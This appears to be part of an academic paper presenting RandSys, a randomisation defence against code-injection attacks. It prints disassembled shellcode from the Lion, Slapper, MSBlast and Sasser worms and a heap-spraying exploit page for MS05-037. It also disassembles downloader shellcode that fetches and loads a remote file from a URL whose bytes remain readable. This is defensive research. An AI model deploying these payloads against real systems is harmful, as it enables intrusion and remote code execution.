b3 07             /* movb    $0x7,%bl               */
89 f9             /* movl    %edi,%ecx              */
cd 80             /* int     $0x80                  */ ; sys_getpeername()
59                /* popl    %ecx                   */
31 db             /* xorl    %ebx,%ebx              */
39 d8             /* cmpl    %ebx,%eax              */
75 0a             /* jne     <shellcode+0x3a>       */
66 bb 12 34       /* movw    $0x3412,%bx            */
66 39 5e 02       /* cmpw    %bx,0x2(%esi)          */
74 08             /* je      <shellcode+0x42>       */
e2 e0             /* loop    <shellcode+0x1c>       */ ; <shellcode + 0x3a>
3f                /* aas                            */
e8 c0 ff ff ff    /* call    <shellcode+0x2>        */ ; <shellcode + 0x3d>
89 cb             /* movl    %ecx,%ebx              */ ; <shellcode + 0x42>
31 c9             /* xorl    %ecx,%ecx              */
b1 03             /* movb    $0x03,%cl              */
31 c0             /* xorl    %eax,%eax              */ ; <shellcode + 0x48>
b0 3f             /* movb    $0x3f,%al              */
49                /* decl    %ecx                   */
cd 80             /* int     $0x80                  */
41                /* incl    %ecx                   */
e2 f6             /* loop    <shellcode+0x48>       */
eb 14             /* jmp     <shellcode+0x68>       */
31 c0             /* xorl    %eax,%eax              */ ; <shellcode + 0x54>
5b                /* popl    %ebx                   */
8d 4b 14"         /* leal    0x14(%ebx),%ecx        */
89 19             /* movl    %ebx,(%ecx)            */
89 43 18"         /* movl    %eax,0x18(%ebx)        */
88 43 07"         /* movb    %al,0x7(%ebx)          */
31 d2"            /* xorl    %edx,%edx              */
b0 0b"            /* movb    $0xb,%al               */
cd 80"            /* int     $0x80                  */
e8 e7 ff ff ff    /* call    <shellcode+0x54>       */ ; <shellcode + 0x68>
2f 62 69 6e 3f 73 68                                   ; "/bin/sh"
90 90 90 90 90 90 90 90

RandSys blocks the
Lion worm here

Opcode Bytes Instructions

(a) The Injected Shellcode from Linux Lion Worms

31 db             /* xor    %ebx,%ebx               */; <shellcode + 0x0>
89 e7             /* mov    %esp,%edi               */
8d 77 10          /* lea    0x10(%edi),%esi         */
89 77 04          /* mov    %esi,0x4(%edi)          */
8d 4f 20          /* lea    0x20(%edi),%ecx         */
89 4f 08          /* mov    %ecx,0x8(%edi)          */
b3 10             /* mov    $0x10,%bl               */
89 19             /* mov    %ebx,(%ecx)             */
31 c9             /* xor    %ecx,%ecx               */
b1 ff             /* mov    $0xff,%cl               */
89 0f             /* mov    %ecx,(%edi)             */ ; <shellcode + 0x18>
51                /* push   %ecx                    */
31 c0             /* xor    %eax,%eax               */
b0 66             /* mov    $0x66,%al               */
b3 07             /* mov    $0x7,%bl                */
89 f9             /* mov    %edi,%ecx               */
cd 80             /* int    $0x80                   */ ; sys_getpeername()
59                /* pop    %ecx                    */
31 db             /* xor    %ebx,%ebx               */
39 d8             /* cmp    %ebx,%eax               */
75 0a             /* jne    <shellcode+0x36>        */
66 b8 12 34       /* mov    $0x3412,%ax             */
66 39 46 02       /* cmp    %ax,0x2(%esi)           */
74 02             /* je     <shellcode+0x38>        */
e2 e0             /* loop   <shellcode+0x18>        */ ; <shellcode + 0x36>
89 cb             /* mov    %ecx,%ebx               */ ; <shellcode + 0x38>
31 c9             /* xor    %ecx,%ecx               */
b1 03             /* mov    $0x3,%cl                */
31 c0             /* xor    %eax,%eax               */ ; <shellcode + 0x3e>
b0 3f             /* mov    $0x3f,%al               */
49                /* dec    %ecx                    */
cd 80             /* int    $0x80                   */
41                /* inc    %ecx                    */
e2 f6             /* loop   <shellcode+0x3e>        */
31 c9             /* xor    %ecx,%ecx               */
f7 e1             /* mul    %ecx                    */
51                /* push   %ecx                    */
5b                /* pop    %ebx                    */
b0 a4             /* mov    $0xa4,%al               */
cd 80             /* int    $0x80                   */
31 c0             /* xor    %eax,%eax               */
50                /* push   %eax                    */
68 2f 2f 73 68    /* push   $0x68732f2f             */ ; "hs//"
68 2f 62 69 6e    /* push   $0x6e69622f             */ ; "nib/"
89 e3             /* mov    %esp,%ebx               */ ; ebx: "/bin//sh"
50                /* push   %eax                    */
53                /* push   %ebx                    */
89 e1             /* mov    %esp,%ecx               */
99                /* cltd                           */
b0 0b             /* mov    $0xb,%al                */
cd 80"            /* int    $0x80                   */

RandSys blocks the
Slapper worm here

Opcode Bytes Instructions

(b) The Injected Shellcode from Linux Slapper Worms

Figure 2. RandSys Thwarts Code Inject Attacks from Lion Worms and Slapper Worms

83 ec 34       /* sub    $0x34,%esp              */ ; <shellcode + 0x0>
8b f4          /* mov    %esp,%esi               */
e8 47 01 00 00 /* call   shellcode+0x151         */
89 06          /* mov    %eax,(%esi)             */
ff 36          /* pushl  (%esi)                  */
68 8e 4e 0e ec /* push   $0xec0e4e8e             */
e8 61 01 00 00 /* call   shellcode+0x179         */
89 46 08       /* mov    %eax,0x8(%esi)          */
...
53             /* push   %ebx                    */ ; <shellcode + 0x179>
55             /* push   %ebp                    */
56             /* push   %esi                    */
57             /* push   %edi                    */ 
8b 6c 24 18    /* mov    0x18(%esp,1),%ebp       */ ; ebp: kernel32.dll base
8b 45 3c       /* mov    0x3c(%ebp),%eax         */
8b 54 05 78    /* mov    0x78(%ebp,%eax,1),%edx  */
03 d5          /* add    %ebp,%edx               */ ; edx: kernel32 EAT table
8b 4a 18       /* mov    0x18(%edx),%ecx         */ ; ecx: # of func entries
8b 5a 20       /* mov    0x20(%edx),%ebx         */ 
03 dd          /* add    %ebp,%ebx               */ ; ebx: kernel32 name table
e3 32          /* jecxz  <shellcode+0x1c6>       */ ; <shellcode + 0x192>
49             /* dec    %ecx                    */
8b 34 8b       /* mov    (%ebx,%ecx,4),%esi      */ 
03 f5          /* add    %ebp,%esi               */ ; esi: one EAT name entry
33 ff          /* xor    %edi,%edi               */
fc             /* cld                            */
33 c0          /* xor    %eax,%eax               */ ; <shellcode + 0x19d>
ac             /* lods   %ds:(%esi),%al          */ ; eax: func name hash
3a c4          /* cmp    %ah,%al                 */
74 07          /* je     <shellcode+0x1ab>       */
c1 cf 0d       /* ror    $0xd,%edi               */
03 f8          /* add    %eax,%edi               */
eb f2          /* jmp    <shellcode+0x19d>       */
3b 7c 24 14    /* cmp    0x14(%esp,1),%edi       */ ; <shellcode + 0x1ab>
75 e1          /* jne    <shellcode+0x192>       */ ; Func Name Hash Match?
8b 5a 24       /* mov    0x24(%edx),%ebx         */ ; NO  -> Try the next entry
03 dd          /* add    %ebp,%ebx               */ ; YES -> Get the func address
66 8b 0c 4b    /* mov    (%ebx,%ecx,2),%cx       */
8b 5a 1c       /* mov    0x1c(%edx),%ebx         */
03 dd          /* add    %ebp,%ebx               */
8b 04 8b       /* mov    (%ebx,%ecx,4),%eax      */
03 c5          /* add    %ebp,%eax               */
eb 02          /* jmp    <shellcode+0x1c8>       */
33 c0          /* xor    %eax,%eax               */ ; <shellcode + 0x1c6>
8b d5          /* mov    %ebp,%edx               */ ; <shellcode + 0x1c8>
5f             /* pop    %edi                    */
5e             /* pop    %esi                    */
5d             /* pop    %ebp                    */
5b             /* pop    %ebx                    */
c2 04 00       /* ret    $0x4                    */

RandSys blocks the
MSBlast worm here

Opcode Bytes Instructions

(a) The Injected Shellcode from Windows MSBlast Worms

e9 0c 01 00 00    /* jmp  <bindshell+0x111>           */ ; <bindshell + 0x0>
5a                /* pop  %edx                        */ ; <bindshell + 0x5>
64 a1 30 00 00 00 /* mov  %fs:0x30,%eax               */
8b 40 0c          /* mov  0xc(%eax),%eax              */
8b 70 1c          /* mov  0x1c(%eax),%esi             */
ad                /* lods %ds:(%esi),%eax             */
8b 40 08          /* mov  0x8(%eax),%eax              */  
8b d8             /* mov  %eax,%ebx                   */ ; ebx: kernel32.dll base
8b 73 3c          /* mov  0x3c(%ebx),%esi             */
8b 74 1e 78       /* mov  0x78(%esi,%ebx,1),%esi      */
03 f3             /* add  %ebx,%esi                   */ ; esi: kernel32 EAT table
8b 7e 20          /* mov  0x20(%esi),%edi             */
03 fb             /* add  %ebx,%edi                   */ ; edi: kernel32 name table
8b 4e 14          /* mov  0x14(%esi),%ecx             */ ; ecx: kernel32 EAT entries 
33 ed             /* xor  %ebp,%ebp                   */
56                /* push %esi                        */
57                /* push %edi                        */ ; <bindshell + 0x2c>
51                /* push %ecx                        */
8b 3f             /* mov  (%edi),%edi                 */
03 fb             /* add  %ebx,%edi                   */ ; edi: one EAT name entry
8b f2             /* mov  %edx,%esi                   */ ; esi: "GetProcAddress"
6a 0e             /* push $0xe                        */ ; 0x0e = strlen("GetProcAddress")
59                /* pop  %ecx                        */
f3 a6             /* repz cmpsb %es:(%edi),%ds:(%esi) */ ; Function Name Match?
74 08             /* je   <bindshell+0x43>            */ ; YES -> Get the function address
59                /* pop  %ecx                        */ 
5f                /* pop  %edi                        */
83 c7 04          /* add  $0x4,%edi                   */
45                /* inc  %ebp                        */ 
e2 e9             /* loop <bindshell+0x2c>            */ ; No  -> Try the next entry
59                /* pop  %ecx                        */ ; <bindshell + 0x43>
...
...
e8 ef fe ff ff    /* call <bindshell+0x5>             */ ; <bindshell + 0x111>
47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00             ; "GetProcAddress"
43 72 65 61 74 65 50 72 6f 63 65 73 73 41 00             ; "CreateProcessA"
45 78 69 74 54 68 72 65 61 64 00                         ; "ExitThread"
4c 6f 61 64 4c 69 62 72 61 72 79 41 00                   ; "LoadLibraryA"
77 73 32 5f 33 32 00                                     ; "ws2_32"
57 53 41 53 6f 63 6b 65 74 41 00                         ; "WSASocketA"
62 69 6e 64 00                                           ; "bind"
6c 69 73 74 65 6e 00                                     ; "listen"
61 63 63 65 70 74 00                                     ; "accept"
63 6c 6f 73 65 73 6f 63 6b 65 74 00                      ; "closesocket"
...

RandSys blocks the
Sasser worm here

Opcode Bytes Instructions

(b) The Injected Shellcode from Windows Sasser Worms

Figure 3. RandSys Thwarts Code Inject Attacks from MSBlast Worms and Sasser Worms
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and Figure 3(b) show the shellcodes injected by the MSBlast worm and the Sasser worm, respectively. Neither
worm assumes static system call mapping. Instead, they leverage library APIs for their actions. More specifically,
they first leverage the PEB (Appendix A) data structure to locate the kernel32.dll base address and then look up its
EAT table to find the requested function name. As shown at the bottom of Figure 3(b), the Sasser worm attempts
to dynamically locate the following functions: GetProcAddress, CreateProcessA, ExitThread, and LoadLibraryA,
from the kernel32.dll library. The LoadLibraryA function will be later invoked to load the ws2 32.dll library, which
exports a number of basic networking-related library APIs, such as bind, listen, and accept. Our enhanced ASLR
schemes, particularly library API randomization, randomize the EAT table entries, breaking the dynamic lookup
process in the shellcode and thus successfully corrupting the infection. More specifically, each worm infection is
corrupted when a function name resolution is attempted (highlighted in Figure 3), which occurs at the beginning
of the shellcode execution.

5.3 Thwarting Real-World Zero-Day Exploits That Use Code-Spraying Attacks

We have used RandSys against two zero-day exploits, each of which exploits an unpatched IE vulnerability. As
these two exploits are quite similar in both the nature of the vulnerabilities (JView Profiler vulnerability/MS05-
037 and Microsoft Visual Studio .NET “msdds.dll” vulnerability MS05-052) and the exploitation means (code-
spraying attacks), we only detail one exploit in the rest of this section. Figure 4 shows the malicious content of
an “in-the-wild” exploiting web page, which takes advantage of the JView Profiler vulnerability (MS05-037) and
utilizes the code-spraying attack as described below:

<html><body>
<SCRIPT language="javascript">

shellcode =unescape("%u4343"+"%u4343");
...
shellcode+=unescape("%ueafa"); shellcode+=unescape("%u90c6");
bigblock = unescape("%u0D0D%u0D0D");

headersize = 20;
slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (i=0;i<750;i++) memory[i] = block + shellcode;

</SCRIPT>
 <object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>
xxxx
</body><script>location.reload();</script></html>

3. Triggering the JView Profiler 
   vulnerability (MS05-037)

1: Preparing a basic block
   containing the NOP-sled
   and a shellcode

   
   The size of the basic block
   is at least 0x40000 bytes
   or 256K bytes
 

2: Replicating the basic block
   into 750 other blocks, 
   each of which contains the 
   NOP-sled and a shellcode.

   In total, the shellcode is
   sprayed into 750 * 256K 
   or 187.5M bytes 

Explanation

Figure 4. An “In-the-wild" Malicious Web Page with the Code-Spraying Attack

(1) A javascript-based code snip in the malicious web page first prepares a basic memory block of 256K bytes
containing a large NOP-sled (performing nop operations) and a particular shellcode. This block is then replicated
to 750 other memory blocks. As a result, the shellcode (including the NOP-sled) is sprayed all over the allocated
heap space of 187.5M bytes.

(2) The JView Profiler Vulnerability (MS05-037) is triggered, which results in the execution of the shellcode
located somewhere in the allocated heap space. Note that existing ASLR schemes can make the actual location
of the injected shellcode (contained in the allocated heap space) hard to predict. However, the code-spraying
attack is able to overcome this challenge by populating the shellcode in a large memory space. As long as the
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overwritten code pointer (e.g., return address) points to somewhere inside this large memory space, the shellcode
will eventually get executed.

(3) Once the shellcode is executed, it starts to unfold itself by performing an XOR operation. The unfolded
version is disassembled and shown in Figure 7 (Appendix B). It then jumps into the middle of the unfolded
shellcode body by skipping the first 16 bytes, which turns out to be the hash values of four different function names,
i.e., “LoadLibraryA”, “SetErrorMode”, “ExitProcess”, and “URLDownloadToFileA”. These related functions or
their actual memory addresses need to be resolved before the exploitation can proceed. The first three functions
are exported by the kernel32.dll module while the last one is exported by the urlmon.dll module.

(4) Next, the attack code attempts to locates the kernel32.dll base address by iterating the SEH [16] chain until
the last SEH handler is located. Based on the facts that (i) the last SEH handler resides inside the kernel32.dll
module and (ii) a module is always aligned on 64K-byte boundaries, the code uses the last SEH hander as a
starting point for walking down with an increment of 4K bytes. A check is performed to see if the two characters
at that point are “MZ”, which usually marks the MSDOS header. Once a match is found, it is assumed that the
base address of kernel32.dll has been located.

(5) Finally, this base address is used to parse the PE file format to locate the EAT name table. Each name entry
within the EAT table is checked to locate those intended function APIs, such as “LoadLibraryA”, “SetErrorMode”,
and “ExitProcess”.

Under RandSys, the EAT names have been randomized. As a result, the exploitation is effectively thwarted at
step (5) described above. The exact location in the shellcode where RandSys blocks the attack is highlighted in
Figure 7 (Appendix B). The new “spray-and-hit” strategy of code-spraying attack also demonstrates the unique
advantage of RandSys over the ASLR scheme.

6 Related Work

Building diversity into computer systems for better security was first advocated by Forrest et al [31]. Recent
work has applied the same diversity principle to code-based instruction set randomization (ISR) [33, 44, 19, 20]
and memory-based layout randomization (ASLR) [2, 50, 21, 22]. ISR makes the “working” instruction set hard to
predict, and is able to foil the execution of injected machine instructions. However, it is vulnerable to attacks that
avoid using injected machine instructions, such as return-into-libc and return-into-dl attacks. ASLR randomizes
the memory layout and is robust against attacks that hijack predetermined specific memory addresses. However,
it is susceptible to code spraying and address spraying attacks which avoid using specific memory locations.
Recalling the code spraying example described in Section 5.3, the attack code prepares a large heap space (750 ∗
256K bytes) and then fills it all over with the intended shellcode. After that, the attacker only needs to guess the
location of a shellcode replica with a probability of 750 ∗ 256K/232 = 4.6%, which contains a very low entropy
(4 bits if taking into account that the Windows kernel occupies the upper half memory space). Note that ASLR
is fundamentally susceptible to such spraying attack: not only in current 32-bit architecture, but also in the next-
generation 64-bit architecture. By effectively and practically combining both ISR and ASLR, RandSys is able to
defeat these attacks fundamental to each of ISR and ASLR individually.

Non-Execute (NX) [1, 47, 32] protection support from both hardware vendors (such as Intel and AMD) and
operating system providers (e.g., W∧X support in OpenBSD and Data Execution Protection from Microsoft)
provides page-level memory protection (read, write, or execute) and renders the injected machine instructions
non-executable. Similar to ISR, NX fails to cope with attacks which avoid using injected machine instructions,
including return-into-libc and return-into-dl attacks.

Table 4 summarizes the unique position of RandSys in relation to ISR, ASLR (with PaX [2] as an representative
ASLR example), and NX.

Chew et al [26] described an operating system-based randomization approach, which not only provides basic
memory space layout randomization, but also attempts to system-wide re-number system calls. Note that the
notion of system call re-numbering [26] is close to the system call randomization in RandSys. However, there
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Example Attack Categories
Regular code injection attacks return-into-libc return-into-dl code-spraying
(e.g., stack-smashing attacks) attacks attacks attacks

ISR
√

× ×
√

ASLR/PaX
√ √

× ×

Non-eXecute
√

× ×
√

RandSys
√ √ √ √

Table 4. Comparison of RandSys with Other Protection Approaches

are a number of fundamental differences: Their re-numbering is implemented by recompiling the kernel with a
different but another fixed system call mapping. As a result, any re-mapping attempt requires the physical machine
rebooting, and the re-mapping is achieved at the granularity of machines — different processes still have the same
system call mapping. In contrast, RandSys establishes a unique system call mapping for each individual process
at its creation time. In addition to system call number randomization, RandSys also provides an enhanced ASLR
protection.

In addition to the randomization efforts to counter code injection attacks, various other techniques [24, 37,
30, 48, 29, 28, 27, 34, 42, 18, 40, 49] are also proposed to address this attack. Broadly speaking, static analysis
techniques [24, 37, 30, 48] attempt to statically analyze program source code to discover possible vulnerabilities,
while dynamic analysis techniques [29, 28, 27, 34, 42, 18, 40, 36] leverage run-time information to dynamically
detect or confine possible attacks. By comparison, like ISR and ASLR, RandSys introduces diversity into existing
computer systems in the first place, which is attack- or vulnerability-independent.

7 Conclusion

In this paper, we have presented RandSys, a novel system that effectively combines Instruction Set Randomiza-
tion (ISR) and Address Space Layout Randomization (ASLR). This combination allows RandSys to defeat attacks
fundamental to each of ISR and ASLR individually. Another contribution of our work is that we randomize only
system-call instructions rather than the entire instruction set, hence effectively address the performance problem
of ISR. We have also developed new techniques that make control flow hijacking extremely difficult, including
decoys, guard pages, independent randomization for both import and export tables, as well as a defensive execution
scheme that detects shellcode-contained pages. We have implemented and evaluated RandSys for both Linux and
Windows. Our experiments show that RandSys can effectively thwart a wide variety of code injection attacks with
a small overhead.
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A Shellcode Background

This section provides background information on the shellcode creation on Linux and Windows platforms. The
differences between the Linux-platform shellcode and the Windows-platform shellcode are highlighted.

A shellcode is an assembly program which traditionally spawns a shell, such as the “/bin/sh” Unix shell, or the
“command.com” shell in Microsoft Windows operating systems. One defining characteristic of shellcode, which
differentiates itself from other assembly programs, is that it is usually injected into another running process space
dynamically. In addition, the process control flow is modified in a way that the shellcode is finally executed (e.g.,
buffer overrun or format string bug). In order to ensure its seamless execution, the shellcode should conform to the
underlying system service interfaces with system calls or library function APIs. For example, a shellcode making
a Linux-based execve system call will not be recognized by Windows-based operating systems.

In the following, we select and review the shellcode creation in both Linux and Windows platforms with a focus
on the Intel IA-32 processor architecture. However, the principles can also be applied to other operating systems
and other processor architectures. We exemplify shellcode creation with two real-world attack codes, which are
used in Linux-based Lion worms [6] and Windows-based MSBlast worms [9] for their propagation, respectively.
Understanding these code-injection attacks is not only helpful to discern the difference in creating shellcodes in
different platforms, but also necessary to understand the motivation and rationales behind our proposed thwarting
technique – RandSys.

A.1 Linux-Platform Shellcode

In Linux, the kernel maintains a consistent mapping of system call numbers and their corresponding func-
tionalities. Though additional functionalities may be added to a later mainstream Linux kernel, existing system
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    ...

    eb  14             /* jmp     <shellcode+22>         */

    31  c0             /* xorl    %eax,%eax              */

    5b                 /* popl    %ebx                   */

    8d  4b 14          /* leal    0x14(%ebx),%ecx        */

    89  19             /* movl    %ebx,(%ecx)            */

    89  43 18          /* movl    %eax,0x18(%ebx)        */

    88  43 07          /* movb    %al,0x7(%ebx)          */

    31  d2             /* xorl    %edx,%edx              */

    b0  0b             /* movb    $0xb,%al               */

    cd  80             /* int     $0x80                  */

    e8  e7 ff ff ff    /* call    <shellcode+2>          */

    "/bin/sh"

    ...

shellcode+0 :

shellcode+2 :

shellcode+4 :

shellcode+5 :

shellcode+8 :

shellcode+10:

shellcode+13:

shellcode+16:

shellcode+18:

shellcode+20:

shellcode+22:

shellcode+27:

 

 

 ecx[0] = "/bin/sh"

 ecx[1] = 0

 ebx = "/bin/sh"

 edx = 0

 eax = 11

 execve(ebx, ecx, edx)

The (partial) shellcode injected by Lion Worms Intended execve system call

Opcode Bytes Instructions

Figure 5. The Shellcode Snip Injected by Linux-based Lion Worm

call mapping [7] will not be changed. In addition, though there is a possibility that an old system call becomes
obsolete, the corresponding mapping may not be overridden by another new system call. The static and stable
system call mapping is the key reason why Linux-based shellcode directly makes use of these well-known system
call numbers.

As a convention, when a user space application makes a system call, the arguments are usually passed to
registers and the application then executes “int $0x80” instruction. The “int $0x80” instruction causes a software
trap from the user mode to the kernel mode, which causes the processor to jump to the system call dispatcher.
Note that EAX register denotes the specific system call. Other registers have relative meanings according to the
value in EAX register. A detailed explanation for their meanings can be found in [7].

As a concrete example, Figure 5 shows an incomplete code snip within the shellcode, which is injected by the
Lion worm. Note that this part of the code snip essentially prepares EAX, EBX, ECX, and EDX registers for the
execve system call (the EAX value 0x0b denotes the execve system call). As can be observed from Figure 5, the
objective of this shellcode is to create a “/bin/sh” UNIX shell once it is successfully executed.

    ...

    83 ec 34         /* sub    $0x34,%esp             */

    8b f4            /* mov    %esp,%esi              */

    e8 47 01 00 00   /* call   <shellcode+0x151>      */

    89 06            /* mov    %eax,(%esi)            */

    ff 36            /* pushl  (%esi)                 */

    68 8e 4e 0e ec   /* push   $0xec0e4e8e            */

    e8 61 01 00 00   /* call   <shellcode+0x179>      */

    89 46 08         /* mov    %eax,0x8(%esi)         */

    ...

    ff 36            /* pushl  (%esi)                 */

    68 72 fe b3 16   /* push   $0x16b3fe72            */

    e8 2d 01 00 00   /* call   <shellcode+0x179>      */

    89 46 10         /* mov    %eax,0x10(%esi)        */

    ff 36            /* pushl  (%esi)                 */

    68 7e d8 e2 73   /* push   $0x73e2d87e            */

    e8 1e 01 00 00   /* call   <shellcode+0x179>      */

    89 46 14         /* mov    %eax,0x14(%esi)        */

    ...

shellcode+0 :

shellcode+3 :

shellcode+5 :

shellcode+10:

shellcode+12:

shellcode+14:

shellcode+19:

shellcode+24:

...

shellcode+64:

shellcode+66:

shellcode+71:

shellcode+76:

shellcode+79:

shellcode+81:

shellcode+86:

shellcode+91:

 Derive the kernel32.dll base address

 

 

 0xec0e4e8e = hash("LoadLibraryA");

 Derive the LoadLibrary function pointer

 

 0xce05d9ad = hash(CreateProcessA");

 Derive the CreateProcessA function pointer

 0x73e2d87e = hash(ExitProcess");

 Derive the ExitProcess function pointer

The (partial) shellcode injected by MSBlast Worms
Intended operations

Opcode Bytes Instructions

Figure 6. The Shellcode Snip Injected by Windows-based MSBlast Worm

A.2 Windows-Platform Shellcode

Windows platforms have a number of major differences from Linux platforms in shellcode creation:
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• Unlike Linux, NT-based Windows operating systems expose a system call interface through the “int $0x2e”
instruction. Newer versions of NT, such as Windows XP, take advantage of the optimized “sysenter”
instruction. Both mechanisms accomplish the goal of transitioning from the user mode to the kernel mode.

• Unlike Linux, Windows operating systems do not maintain a consistent mapping between system calls
and their corresponding functionalities. Instead, the exact mapping is undocumented and the system call
numbers are subject to change across different Windows versions, service patches, and even certain security
patches. Detailed information on the exact system call mapping in various Windows systems (e.g., Windows
NT/2000/XP/2003) can be found in [14].

In order to maintain transparency to applications, Windows systems offer consistent and documented library
function APIs which hide the actual system call mapping discrepancies across various Windows operating systems.
For this reason, it is generally considered “bad practice” to write shellcodes on Windows platforms that use system
calls directly. Instead, most existing Windows-based shellcodes indirectly make use of the system call numbers
by leveraging library APIs provided, such as those APIs supplied by ntdll.dll. Another reason why direct use of
Windows system call numbers should be avoided is that Windows does not export a socket API via the system
call interface [45]. Such a restriction prevents remote exploits (e.g., the connect-back shellcode) from using direct
system calls.

The differences between shellcodes on Windows and Linux platforms can be further exemplified by the injected
code from the MSBlast worm. For clarity, Figure 6 only shows a number of worm-injected machine code
instructions while other sub-routines (e.g., the routines at locations < shellcode + 0x151 > and < shellcode +
0x179 >) are omitted. Note that the routine at location < shellcode + 0x151 > is used to accurately derive the
kernel.dll base address by leveraging the Process Environment Block (PEB) information [45]. The kernel32.dll
library base address is later used as an input of the routine at < shellcode + 0x179 >, which is essentially
a library function name lookup routine. This name lookup routine is functionally similar to the documented
GetProcAddress() function, which iterates through the Export Address Table (EAT) in the shared DLL library
and reliably derives other function pointers, such as LoadLibraryA(), CreateProcess(), and ExitProcess(). It is
interesting to note that in order to further save space and increase obfuscation in the shellcode generated, this
function name lookup routine does not perform a direct string comparison to derive the required function pointers.
Instead, the corresponding hash value of a function name is used for the name lookup. It turns out that the hash
function used in the MSBlast worm is borrowed from [8].
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B Disassembling the Injected Code from a Zero-Day Exploit That Uses Code-Spraying Attacks

26 80 ac c8                                            ; hash("LoadLibraryA")
60 40 54 6c                                            ; hash("SetErrorMode")
19 2b 90 95                                            ; hash("ExitProcess")
99 23 5d d9                                            ; hash("URLDownloadToFileA")

; Derive kernel32.dll base address by parsing the SEH chain
; INPUT : ecx = 0, esi = <shellcode+0x0>
; OUTPUT: ebx = kernel32.dll base address

fc                /* cld                            */ ; <shellcode + 0x0>
64 8b 01          /* mov    %fs:(%ecx),%eax         */ 
40                /* inc    %eax                    */ 
93                /* xchg   %eax,%ebx               */ ; <shellcode + 0x5>
8b 43 ff          /* mov    0xffffffff(%ebx),%eax   */
40                /* inc    %eax                    */
75 f9             /* jne    <shellcode+0x5>         */
8b 5b 03          /* mov    0x3(%ebx),%ebx          */
66 33 db          /* xor    %bx,%bx                 */
66 81 3b 4d 5a    /* cmpw   $0x5a4d,(%ebx)          */ ; <shellcode + 0x12> 
74 08             /* je     <shellcode+0x21>        */ ; 0x5a4d = "MZ", PE file signature
81 eb 00 10 00 00 /* sub    $0x1000,%ebx            */
eb f1             /* jmp    <shellcode+0x12>        */
8b fc             /* mov    %esp,%edi               */ ; <shellcode + 0x21>

; Derive the following function addresses:
;    (1) LoadLibraryA()   saved in 0xfffffffc(%edi)
;    (2) SetErrorMOde()   saved in 0xfffffff8(%edi)
;    (3) ExitProcess()    saved in 0xfffffff4(%edi)

b1 03             /* mov    $0x3,%cl                */
ad                /* lods   %ds:(%esi),%eax         */ ; <shellcode + 0x25> 
e8 4b 00 00 00    /* call   <shellcode+0x76>        */
50                /* push   %eax                    */
e2 f7             /* loop   <shellcode+0x25>        */

; SetErrorMode(0x8007)
68 07 80 00 00    /* push   $0x8007                 */
ff 57 f8          /* call   *0xfffffff8(%edi)       */

; LoadLibraryA("urlmon")
68 6f 6e 00 00    /* push   $0x6e6f                 */
68 75 72 6c 6d    /* push   $0x6d6c7275             */
54                /* push   %esp                    */
ff 57 fc          /* call   *0xfffffffc(%edi)       */
93                /* xchg   %eax,%ebx               */

; Derive the following function address:
;    (4) URLDownloadToFileA()    saved in eax
ad                /* lods   %ds:(%esi),%eax         */
e8 2b 00 00 00    /* call   <shellcode+0x76>        */

; URLDownloadToFileA(0, url, "c:\ms32.tmp", 0, 0)
8d 8e bb 00 00 00 /* lea    0xbb(%esi),%ecx         */
33 f6             /* xor    %esi,%esi               */
68 74 6d 70 00    /* push   $0x706d74               */
68 73 33 32 2e    /* push   $0x2e323373             */
68 63 3a 5c 6d    /* push   $0x6d5c3a63             */
8b ec             /* mov    %esp,%ebp               */
56                /* push   %esi                    */
56                /* push   %esi                    */
55                /* push   %ebp                    */ ; c:\ms32.tmp
51                /* push   %ecx                    */ ; URL
56                /* push   %esi                    */
ff d0             /* call   *%eax                   */ ; URLDownloadToFileA
0b c0             /* or     %eax,%eax               */ 
75 04             /* jne    <shellcode+0x73>        */ ; Call Succes?
55                /* push   %ebp                    */ ; YES ==> LoadLibraryA("c:\ms32.tmp")
ff 57 fc          /* call   *0xfffffffc(%edi)       */  
                                                       ; NO  ==> ExitProcess()
ff 57 f4          /* call   *0xfffffff4(%edi)       */ ; <shellcode + 0x73> 

; Function Name Resolution Routine
51                /* push   %ecx                    */ ; <shellcode + 0x76>
56                /* push   %esi                    */
95                /* xchg   %eax,%ebp               */
8b 4b 3c          /* mov    0x3c(%ebx),%ecx         */ ; ebx: kernel32 base address
8b 4c 0b 78       /* mov    0x78(%ebx,%ecx,1),%ecx  */ 
03 cb             /* add    %ebx,%ecx               */ ; ecx: kernel32 EAT table
33 f6             /* xor    %esi,%esi               */
8d 14 b3          /* lea    (%ebx,%esi,4),%edx      */
03 51 20          /* add    0x20(%ecx),%edx         */ 
8b 12             /* mov    (%edx),%edx             */ ; edx: EAT name table
03 d3             /* add    %ebx,%edx               */
33 c0             /* xor    %eax,%eax               */
c1 c0 07          /* rol    $0x7,%eax               */ ; <shellcode + 0x90>
32 02             /* xor    (%edx),%al              */
42                /* inc    %edx                    */
80 3a 00          /* cmpb   $0x0,(%edx)             */
75 f5             /* jne    <shellcode+0x90>        */
3b c5             /* cmp    %ebp,%eax               */
74 06             /* je     <shellcode+0xa5>        */
46                /* inc    %esi                    */
3b 71 18          /* cmp    0x18(%ecx),%esi         */
72 df             /* jb     <shellcode+0x84>        */
8b 51 24          /* mov    0x24(%ecx),%edx         */ ; <shellcode + 0xa5>
03 d3             /* add    %ebx,%edx               */
0f b7 14 72       /* movzwl (%edx,%esi,2),%edx      */
8b 41 1c          /* mov    0x1c(%ecx),%eax         */
03 c3             /* add    %ebx,%eax               */
8b 04 90          /* mov    (%eax,%edx,4),%eax      */
03 c3             /* add    %ebx,%eax               */
5e                /* pop    %esi                    */
59                /* pop    %ecx                    */ 
c3                /* ret                            */     
68 74 74 70 3a 5c 5c 38 32 2e 31 37 39 2e 31 36 36  ; "http:\\xx.xxx.xxx" 
2e 32 5c 73 74 61 74 70 61 74 68 5c 66 67 78 78 78  ; ".2\statpath\fgxxx"
2e 6a 70 00                                         ; ".jp

  RandSys blocks the 
zero-day exploit here

Opcode Bytes Instructions

Figure 7. RandSys Thwarts the Code Inject Attack from a Zero-Day Exploit with the JView Profiler
Vulnerability (MS05-037)
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